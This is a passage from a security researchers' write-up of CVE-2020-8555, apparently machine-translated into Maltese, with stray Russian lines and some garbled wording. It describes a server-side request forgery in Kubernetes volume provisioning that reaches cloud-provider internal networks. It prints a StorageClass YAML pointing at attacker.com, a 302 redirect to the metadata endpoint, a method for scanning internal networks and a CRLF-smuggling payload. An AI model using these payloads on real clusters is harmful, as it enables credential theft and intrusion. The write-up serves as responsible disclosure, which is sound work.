Meta mhux biss dwar vulnerabbiltajiet Kubernetes...

Nota. transl.: l-awturi ta 'dan l-artikolu jitkellmu fid-dettall dwar kif irnexxielhom jiskopru l-vulnerabbiltà CVE-2020–8555 f'Kubernetes. Għalkemm inizjalment ma deherx perikoluża ħafna, flimkien ma 'fatturi oħra l-kritikità tagħha rriżultat li kienet massima għal xi fornituri tal-cloud. Diversi organizzazzjonijiet ippremjaw b'mod ġeneruż lill-ispeċjalisti għax-xogħol tagħhom.

Meta mhux biss dwar vulnerabbiltajiet Kubernetes...

Min aħna

Aħna żewġ riċerkaturi Franċiżi tas-sigurtà li flimkien skoprew vulnerabbiltà f'Kubernetes. Isimna Brice Augras u Christophe Hauquiert, iżda fuq ħafna pjattaformi Bug Bounty aħna magħrufa bħala Reeverzax u Hach rispettivament:

X'ġara?

Dan l-artikolu huwa l-mod tagħna kif naqsmu kif proġett ta 'riċerka ordinarju inbidel bla mistenni fl-aktar avventura eċċitanti fil-ħajja tal-kaċċaturi tal-bugs (għall-inqas għalissa).

Kif probabilment taf, il-kaċċaturi tal-bugs għandhom ftit karatteristiċi notevoli:

  • jgħixu fuq il-pizza u l-birra;
  • jaħdmu meta kulħadd ikun rieqed.

Aħna l-ebda eċċezzjoni għal dawn ir-regoli: normalment niltaqgħu fi tmiem il-ġimgħa u nqattgħu ljieli bla rqad hacking. Iżda wieħed minn dawn l-iljieli spiċċa b’mod mhux tas-soltu ħafna.

Inizjalment konna se niltaqgħu biex niddiskutu l-parteċipazzjoni fiha CTF l-għada. Waqt konverżazzjoni dwar is-sigurtà ta’ Kubernetes f’ambjent ta’ servizz ġestit, ftakarna fl-idea l-antika ta’ SSRF (Falsifikazzjoni ta' Talba fuq in-naħa tas-server) u ddeċidiet li tipprova tużaha bħala skript ta' attakk.

Fil-11 pm poġġejna bilqiegħda biex nagħmlu r-riċerka tagħna u morna torqod kmieni filgħodu, sodisfatti ħafna bir-riżultati. Kien minħabba din ir-riċerka li ltqajna mal-programm MSRC Bug Bounty u ħarġet bi sfruttament ta 'eskalazzjoni ta' privileġġ.

Għaddew diversi ġimgħat/xhur, u r-riżultat mhux mistenni tagħna rriżulta f'wieħed mill-ogħla premjijiet fl-istorja tal-Azure Cloud Bug Bounty - minbarra dak li rċevejna mingħand Kubernetes!

Ibbażat fuq il-proġett ta 'riċerka tagħna, il-Kumitat tas-Sigurtà tal-Prodotti Kubernetes ippubblikat CVE-2020–8555.

Issa nixtieq inxerred informazzjoni dwar il-vulnerabbiltà misjuba kemm jista 'jkun. Nittamaw li tapprezza s-sejba u taqsam id-dettalji tekniċi ma' membri oħra tal-komunità infosec!

Allura hawn l-istorja tagħna...

Kuntest

Biex tagħmel l-aktar sens ta 'dak li ġara, ejja l-ewwel inħarsu lejn kif Kubernetes jaħdem f'ambjent immexxi mill-cloud.

Meta tistjanzja cluster Kubernetes f'ambjent bħal dan, is-saff ta 'ġestjoni huwa tipikament ir-responsabbiltà tal-fornitur tal-cloud:

Meta mhux biss dwar vulnerabbiltajiet Kubernetes...
Is-saff ta 'kontroll jinsab fil-perimetru tal-fornitur tas-sħab, filwaqt li n-nodi Kubernetes jinsabu fil-perimetru tal-klijent

Biex jiġu allokati b'mod dinamiku l-volumi, jintuża mekkaniżmu biex jiġu pprovduti b'mod dinamiku minn backend tal-ħażna esterna u jqabbluhom mal-PVC (pretensjoni ta 'volum persistenti, jiġifieri talba għal volum).

Għalhekk, wara li l-PVC jinħoloq u marbut mal-Class Storage fil-cluster K8s, aktar azzjonijiet biex jipprovdu l-volum jittieħdu mill-maniġer tal-kontrollur kube/cloud (l-isem eżatt tiegħu jiddependi fuq ir-rilaxx). (Nota. transl.: Diġà ktibna aktar dwar is-CCM billi nużaw l-eżempju tal-implimentazzjoni tiegħu għal wieħed mill-fornituri tal-cloud hawn.)

Hemm diversi tipi ta’ provvedituri appoġġjati minn Kubernetes: ħafna minnhom huma inklużi fihom qalba tal-orkestratur, filwaqt li oħrajn huma ġestiti minn provvedituri addizzjonali li jitqiegħdu f'miżwed fil-cluster.

Fir-riċerka tagħna, aħna ffukajna fuq il-mekkaniżmu tal-provvista tal-volum intern, li huwa illustrat hawn taħt:

Meta mhux biss dwar vulnerabbiltajiet Kubernetes...
Provvediment dinamiku tal-volumi bl-użu tal-provisioner Kubernetes inkorporat

Fil-qosor, meta Kubernetes jiġi skjerat f'ambjent ġestit, il-maniġer tal-kontrollur huwa r-responsabbiltà tal-fornitur tal-cloud, iżda t-talba għall-ħolqien tal-volum (in-numru 3 fid-dijagramma ta 'hawn fuq) tħalli n-netwerk intern tal-fornitur tal-cloud. U dan huwa fejn l-affarijiet isiru verament interessanti!

Xenarju tal-hacking

F'din it-taqsima, se nispjegaw kif ħadna vantaġġ mill-fluss tax-xogħol imsemmi hawn fuq u aċċessajna r-riżorsi interni tal-fornitur tas-servizz tal-cloud. Se jurik ukoll kif tista’ twettaq ċerti azzjonijiet, bħall-kisba ta’ kredenzjali interni jew l-eskala tal-privileġġi.

Manipulazzjoni waħda sempliċi (f'dan il-każ, Falsifikazzjoni ta' Talba tan-Naħla tas-Servizz) għenet biex tmur lil hinn mill-ambjent tal-klijent fi gruppi ta' diversi fornituri tas-servizz taħt K8s ġestiti.

Fir-riċerka tagħna aħna ffukajna fuq il-provveditur GlusterFS. Minkejja l-fatt li s-sekwenza ulterjuri ta 'azzjonijiet hija deskritta f'dan il-kuntest, Quobyte, StorageOS u ScaleIO huma suxxettibbli għall-istess vulnerabbiltà.

Meta mhux biss dwar vulnerabbiltajiet Kubernetes...
Abbuż ta' mekkaniżmu ta' forniment ta' volum dinamiku

Waqt l-analiżi tal-klassi tal-ħażna GlusterFS fil-kodiċi tas-sors tal-klijent Golang aħna innutatli fuq l-ewwel talba HTTP (3) mibgħuta waqt il-ħolqien tal-volum, sa l-aħħar tal-URL tad-dwana fil-parametru resturl miżjud /volumes.

Iddeċidejna li neħilsu minn din it-triq addizzjonali billi nżidu # fil-parametru resturl. Hawnhekk hawn l-ewwel konfigurazzjoni YAML li użajna biex nittestjaw għal vulnerabbiltà SSRF semi-blind (tista 'taqra aktar dwar semi-blind jew half-blind SSRF, pereżempju, hawn - madwar. trad.):

apiVersion: storage.k8s.io/v1
kind: StorageClass
metadata:
  name: poc-ssrf
provisioner: kubernetes.io/glusterfs
parameters:
  resturl: "http://attacker.com:6666/#"
---
apiVersion: v1
kind: PersistentVolumeClaim
metadata:
  name: poc-ssrf
spec:
  accessModes:
  - ReadWriteOnce
  volumeMode: Filesystem
  resources:
    requests:
      storage: 8Gi
  storageClassName: poc-ssrf

Imbagħad użajna l-binarju biex jimmaniġġjaw mill-bogħod il-cluster Kubernetes kubectl. Tipikament, il-fornituri tas-sħab (Azure, Google, AWS, eċċ.) jippermettulek tikseb kredenzjali għall-użu f'din l-utilità.

Grazzi għal dan, stajt nuża l-fajl "speċjali" tiegħi. Kube-controller-manager wettaq it-talba HTTP li rriżultat:

kubectl create -f sc-poc.yaml

Meta mhux biss dwar vulnerabbiltajiet Kubernetes...
It-tweġiba mill-aspett tal-attakkant

Ftit wara dan, stajna wkoll nirċievu tweġiba HTTP mis-server fil-mira - permezz tal-kmandi describe pvc jew get events f'kubectl. U tabilħaqq: dan is-sewwieq default Kubernetes huwa wisq verbose fit-twissijiet/messaġġi ta 'żball tiegħu...

Hawn eżempju b'link għal https://www.google.frissettjat bħala parametru resturl:

kubectl describe pvc poc-ssrf
# или же можете воспользоваться kubectl get events

Meta mhux biss dwar vulnerabbiltajiet Kubernetes...

F'dan l-approċċ, konna limitati għal mistoqsijiet bħal HTTP POST u ma setgħetx tikseb il-kontenut tal-korp tar-rispons jekk il-kodiċi tar-ritorn kien 201. Għalhekk, iddeċidejna li nagħmlu riċerka addizzjonali u wessgħu dan ix-xenarju ta 'hacking b'approċċi ġodda.

L-evoluzzjoni tar-riċerka tagħna

  • Xenarju Avvanzat #1: L-użu ta' 302 redirect minn server estern biex tbiddel il-metodu HTTP biex tipprovdi mod aktar flessibbli biex tiġbor id-dejta interna.
  • Xenarju Avvanzat #2: Awtomatizza l-iskannjar tal-LAN u l-iskoperta tar-riżorsi interni.
  • Xenarju avvanzat #3: bl-użu ta' HTTP CRLF + kuntrabandu (“talba ta' kuntrabandu”) biex jinħolqu talbiet HTTP apposta u tiġi rkuprata data estratta minn zkuk tal-kontrollur kube.

Speċifikazzjonijiet Tekniċi

  • Ir-riċerka użat Azure Kubernetes Service (AKS) mal-verżjoni 1.12 ta’ Kubernetes fir-reġjun tal-Ewropa ta’ Fuq.
  • Ix-xenarji deskritti hawn fuq ġew eżegwiti fuq l-aħħar rilaxxi ta' Kubernetes, bl-eċċezzjoni tat-tielet xenarju, minħabba li kellu bżonn Kubernetes mibnija bil-verżjoni Golang ≤ 1.12.
  • Server estern tal-attakkant - https://attacker.com.

Xenarju Avvanzat #1: Ridirezzjoni ta' talba HTTP POST lil GET u tirċievi data sensittiva

Il-metodu oriġinali kien imtejjeb bil-konfigurazzjoni tas-server tal-attakkant biex jirritorna 302 HTTP Retcodebiex tikkonverti talba POST għal talba GET (pass 4 fid-dijagramma):

Meta mhux biss dwar vulnerabbiltajiet Kubernetes...

L-ewwel talba (3) ġejja mill-klijent GlusterFS (Maniġer tal-Kontrollur), għandu tip POST. Billi nsegwu dawn il-passi stajna nbiddluh f'GET:

  • Bħala parametru resturl fi StorageClass huwa indikat http://attacker.com/redirect.php.
  • Endpoint https://attacker.com/redirect.php jirrispondi b'kodiċi tal-istatus HTTP 302 bl-Intestatura tal-Lokazzjoni li ġejja: http://169.254.169.254. Dan jista 'jkun kwalunkwe riżors intern ieħor - f'dan il-każ, il-link ta' direzzjoni ġdida tintuża biss bħala eżempju.
  • Permezz ta 'default librerija nett/http Golang jidderieġi t-talba u jikkonverti l-POST għal GET b'kodiċi ta 'status 302, li jirriżulta f'talba HTTP GET għar-riżors fil-mira.

Biex taqra l-korp tar-rispons HTTP trid tagħmel describe Oġġett tal-PVC:

kubectl describe pvc xxx

Hawn eżempju ta’ rispons HTTP f’format JSON li stajna nirċievu:

Meta mhux biss dwar vulnerabbiltajiet Kubernetes...

Il-kapaċitajiet tal-vulnerabbiltà misjuba f'dak iż-żmien kienu limitati minħabba l-punti li ġejjin:

  • Inabbiltà li tiddaħħal headers HTTP fit-talba ħerġin.
  • Inabbiltà li twettaq talba POST b'parametri fil-ġisem (dan huwa konvenjenti li titlob il-valur ewlieni minn istanza etcd li taħdem fuq 2379 port jekk jintuża HTTP mhux kriptat).
  • Inabbiltà li jiġi rkuprat il-kontenut tal-korp tar-rispons meta l-kodiċi tal-istatus kien 200 u r-rispons ma kellux Tip ta' Kontenut JSON.

Xenarju avvanzat #2: Skennjar tan-netwerk lokali

Dan il-metodu SSRF half-blind imbagħad intuża biex jiskennja n-netwerk intern tal-fornitur tal-cloud u jeżamina diversi servizzi ta' smigħ (Istanza ta' Metadata, Kubelet, etcd, eċċ.) ibbażati fuq ir-risposti. kontrollur kube.

Meta mhux biss dwar vulnerabbiltajiet Kubernetes...

L-ewwel, il-portijiet ta 'smigħ standard tal-komponenti Kubernetes ġew determinati (8443, 10250, 10251, eċċ.), U mbagħad kellna nawtomatizzaw il-proċess tal-iskannjar.

Billi naraw li dan il-metodu ta 'skannjar tar-riżorsi huwa speċifiku ħafna u mhux kompatibbli ma' skaners klassiċi u għodod SSRF, iddeċidejna li noħolqu l-ħaddiema tagħna stess fi skript bash li awtomat il-proċess kollu.

Pereżempju, sabiex tiskennja malajr il-medda 172.16.0.0/12 tan-netwerk intern, 15-il ħaddiem ġew imnedija b'mod parallel. Il-firxa tal-IP ta' hawn fuq intgħażlet bħala eżempju biss u tista' tkun soġġetta għal bidla fil-firxa tal-IP tal-fornitur tas-servizz speċifiku tiegħek.

Biex tiskennja indirizz IP wieħed u port wieħed, trid tagħmel dan li ġej:

  • ħassar l-aħħar StorageClass iċċekkjat;
  • neħħi t-Talba ta' Volum Persistenti verifikata preċedenti;
  • ibdel il-valuri IP u Port fi sc.yaml;
  • toħloq StorageClass b'IP u port ġodda;
  • toħloq PVC ġdid;
  • estratt scan riżultati bl-użu jiddeskrivi għall-PVC.

Xenarju avvanzat #3: injezzjoni CRLF + kuntrabandu HTTP f'verżjonijiet "qodma" tal-cluster Kubernetes

Jekk minbarra dan il-fornitur offra lill-klijenti verżjonijiet antiki tal-cluster K8s и tahom aċċess għal kube-controller-manager's zkuk, l-effett sar saħansitra aktar sinifikanti.

Huwa tabilħaqq ħafna aktar konvenjenti għal attakkant li jibdel it-talbiet HTTP maħsuba biex jiksbu rispons HTTP sħiħ fid-diskrezzjoni tiegħu.

Meta mhux biss dwar vulnerabbiltajiet Kubernetes...

Biex jiġi implimentat l-aħħar xenarju, kellhom jiġu sodisfatti l-kundizzjonijiet li ġejjin:

  • L-utent għandu jkollu aċċess għal kube-controller-manager logs (bħal, pereżempju, f'Azure LogInsights).
  • Il-cluster Kubernetes irid juża verżjoni ta' Golang inqas minn 1.12.

Aħna skjerati ambjent lokali li ssimula komunikazzjoni bejn il-klijent GlusterFS Go u server fil-mira falz (se nżommu lura milli nippubblikaw il-PoC għalissa).

Instab vulnerabbiltà, li taffettwa verżjonijiet ta' Golang inqas minn 1.12 u tippermetti lill-hackers iwettqu attakki ta' kuntrabandu HTTP/CRLF.

Billi tgħaqqad l-SSRF half-blind deskritt hawn fuq вместе ma 'dan, stajna nibagħtu talbiet għall-Predisposizzjoni tagħna, inkluż is-sostituzzjoni ta' headers, metodu HTTP, parametri u data, li kube-controller-manager imbagħad ipproċessa.

Hawn hu eżempju ta '"lixka" li taħdem f'parametru resturl StorageClass, li timplimenta xenarju ta' attakk simili:

http://172.31.X.1:10255/healthz? HTTP/1.1rnConnection: keep-
alivernHost: 172.31.X.1:10255rnContent-Length: 1rnrn1rnGET /pods? HTTP/1.1rnHost: 172.31.X.1:10255rnrn

Ir-riżultat huwa żball rispons mhux mitlub, messaġġ li dwaru huwa rreġistrat fir-reġistru tal-kontrollur. Grazzi għall-verbożità attivata b'mod awtomatiku, il-kontenut tal-messaġġ ta 'rispons HTTP jiġi ssejvjat hemm ukoll.

Meta mhux biss dwar vulnerabbiltajiet Kubernetes...

Din kienet l-iktar "lixka" effettiva tagħna fil-qafas tal-prova tal-kunċett.

Bl-użu ta 'dan l-approċċ, stajna nwettqu xi wħud mill-attakki li ġejjin fuq raggruppamenti ta' diversi fornituri k8s ġestiti: eskalazzjoni ta 'privileġġ b'kredenzjali fuq istanzi ta' metadejta, Master DoS permezz ta 'talbiet HTTP (mhux kriptat) fuq istanzi prinċipali etcd, eċċ.

Aftermath

Fid-dikjarazzjoni uffiċjali ta 'Kubernetes dwar il-vulnerabbiltà tal-SSRF li skoprejna, ġiet ikklassifikata CVSS 6.3/10: CVSS:3.0/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:N/A:N. Jekk nikkunsidraw biss il-vulnerabbiltà assoċjata mal-perimetru Kubernetes, il-vettur tal-integrità (vettur tal-integrità) tikkwalifika bħala Xejn.

Madankollu, il-valutazzjoni tal-konsegwenzi possibbli fil-kuntest ta’ ambjent ta’ servizz ġestit (u din kienet l-aktar parti interessanti tar-riċerka tagħna!) wassalna biex nikklassifikaw mill-ġdid il-vulnerabbiltà fi klassifikazzjoni. CVSS kritiċi10/10 għal ħafna distributuri.

Hawn taħt hawn informazzjoni addizzjonali biex tgħinek tifhem il-kunsiderazzjonijiet tagħna meta nivvalutaw l-impatti potenzjali fl-ambjenti tal-cloud:

Integrità

  • Eżegwixxi kmandi mill-bogħod billi tuża kredenzjali interni miksuba.
  • Ir-riproduzzjoni tax-xenarju t'hawn fuq bl-użu tal-metodu IDOR (Insecure Direct Object Reference) b'riżorsi oħra misjuba fin-netwerk lokali.

Kunfidenzjalità

  • Tip ta' attakk Moviment Laterali grazzi għas-serq tal-kredenzjali tal-cloud (per eżempju, metadata API).
  • Ġbir ta 'informazzjoni billi tiskennja n-netwerk lokali (determinazzjoni tal-verżjoni SSH, verżjoni tas-server HTTP, ...).
  • Iġbor l-informazzjoni tal-istanza u tal-infrastruttura billi tagħmel stħarriġ tal-API interni bħall-API tal-metadejta (http://169.254.169.254, ...).
  • Serq tad-dejta tal-klijenti bl-użu tal-kredenzjali tal-cloud.

Disponibbiltà

Kollha jisfruttaw xenarji relatati ma 'vettori ta' attakk fuq integrità, jistgħu jintużaw għal azzjonijiet distruttivi u jwasslu biex istanzi prinċipali mill-perimetru tal-klijent (jew kwalunkwe ieħor) ma jkunux disponibbli.

Peress li konna f'ambjent K8s ġestit u nevalwaw l-impatt fuq l-integrità, nistgħu nimmaġinaw ħafna xenarji li jistgħu jkollhom impatt fuq id-disponibbiltà. Eżempji addizzjonali jinkludu l-korruzzjoni tad-database etcd jew li tagħmel sejħa kritika lill-API Kubernetes.

Kronoloġija

  • 6 ta’ Diċembru 2019: Vulnerabbiltà rrappurtata lill-MSRC Bug Bounty.
  • 3 ta’ Jannar 2020: Parti terza infurmat lill-iżviluppaturi ta’ Kubernetes li konna qed naħdmu fuq kwistjoni ta’ sigurtà. U talbithom biex jikkunsidraw l-SSRF bħala vulnerabbiltà interna (in-core). Imbagħad ipprovdejna rapport ġenerali b'dettalji tekniċi dwar is-sors tal-problema.
  • 15 ta’ Jannar 2020: Aħna pprovdejna rapporti tekniċi u ġenerali lill-iżviluppaturi ta’ Kubernetes fuq talba tagħhom (permezz tal-pjattaforma HackerOne).
  • 15 ta' Jannar 2020: L-iżviluppaturi ta' Kubernetes avżawna li l-injezzjoni ta' SSRF + CRLF half-blind għal rilaxxi tal-passat hija meqjusa bħala vulnerabbiltà fil-qalba. Immedjatament waqafna nanalizzaw il-perimetri ta 'fornituri oħra ta' servizzi: it-tim K8s issa kien qed jittratta l-kawża ewlenija.
  • 15 ta’ Jannar 2020: premju MSRC riċevut permezz ta’ HackerOne.
  • 16 ta’ Jannar 2020: Kubernetes PSC (Kumitat tas-Sigurtà tal-Prodott) għaraf il-vulnerabbiltà u talab li jżommha sigrieta sa nofs Marzu minħabba n-numru kbir ta’ vittmi potenzjali.
  • 11 ta' Frar, 2020: Irċevew premju Google VRP.
  • 4 ta' Marzu 2020: Il-premju Kubernetes irċevut permezz ta' HackerOne.
  • 15 ta’ Marzu 2020: Żvelar pubbliku skedat oriġinarjament pospost minħabba s-sitwazzjoni tal-COVID-19.
  • 1 ta' Ġunju 2020: Dikjarazzjoni konġunta ta' Kubernetes + Microsoft dwar il-vulnerabbiltà.

TL; DR

  • Nixorbu birra u nieklu pizza :)
  • Skoprejna vulnerabbiltà fil-qalba f'Kubernetes, għalkemm ma kellna l-ebda intenzjoni li nagħmlu dan.
  • Aħna wettaqna analiżi addizzjonali fuq gruppi ta 'fornituri ta' sħab differenti u stajna nżidu l-ħsara kkawżata mill-vulnerabbiltà biex nirċievu bonusijiet tal-biża addizzjonali.
  • Issib ħafna dettalji tekniċi f'dan l-artikolu. Inkunu kuntenti niddiskutuhom miegħek (Twitter: @ReeverZax & @__hach_).
  • Irriżulta li kull xorta ta’ formalitajiet u rappurtar ħadu ħafna iktar żmien milli mistenni.

referenzi

PS minn traduttur

Aqra wkoll fuq il-blog tagħna:

Sors: www.habr.com

Żid kumment